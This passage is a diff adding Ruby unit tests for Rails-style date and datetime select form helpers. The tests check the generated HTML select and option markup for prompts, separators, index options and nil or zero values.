+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]" class="selector">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option selected="selected" value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n}
+ expected << %{ &mdash; <select id="post_updated_at_4i" name="post[updated_at(4i)]" class="selector">\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option selected="selected" value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n</select>\n}
+ expected << %{ : <select id="post_updated_at_5i" name="post[updated_at(5i)]" class="selector">\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option selected="selected" value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n</select>\n}
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_datetime_select_with_separators
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ expected << " , "
+
+ expected << %(<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " - "
+
+ expected << %(<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " - "
+
+ expected << %(<select id="post_updated_at_6i" name="post[updated_at(6i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", { :date_separator => " / ", :datetime_separator => " , ", :time_separator => " - ", :include_seconds => true })
+ end
+
+ def test_datetime_select_with_integer
+ @post = Post.new
+ @post.updated_at = 3
+ datetime_select("post", "updated_at")
+ end
+
+ def test_datetime_select_with_infinity # Float
+ @post = Post.new
+ @post.updated_at = (-1.0/0)
+ datetime_select("post", "updated_at")
+ end
+
+ def test_datetime_select_with_default_prompt
+ @post = Post.new
+ @post.updated_at = nil
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ expected << %{<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ expected << %{<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009, :prompt => true)
+ end
+
+ def test_datetime_select_with_custom_prompt
+ @post = Post.new
+ @post.updated_at = nil
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ expected << %{<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ expected << %{<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009, :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day', :hour => 'Choose hour', :minute => 'Choose minute'})
+ end
+
+ def test_date_select_with_zero_value_and_no_start_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(0, :end_year => Date.today.year+1, :prefix => "date[first]")
+ end
+
+ def test_date_select_with_zero_value_and_no_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ last_year = Time.now.year + 5
+ 2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(0, :start_year => 2003, :prefix => "date[first]")
+ end
+
+ def test_date_select_with_zero_value_and_no_start_and_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(0, :prefix => "date[first]")
+ end
+
+ def test_date_select_with_nil_value_and_no_start_and_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(nil, :prefix => "date[first]")
+ end
+
+ def test_datetime_select_with_nil_value_and_no_start_and_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(nil, :prefix => "date[first]")
+ end
+
+ def test_datetime_select_with_options_index
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+ id = 456
+
+ expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :index => id)
+ end
+
+ def test_datetime_select_within_fields_for_with_options_index
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+ id = 456
+
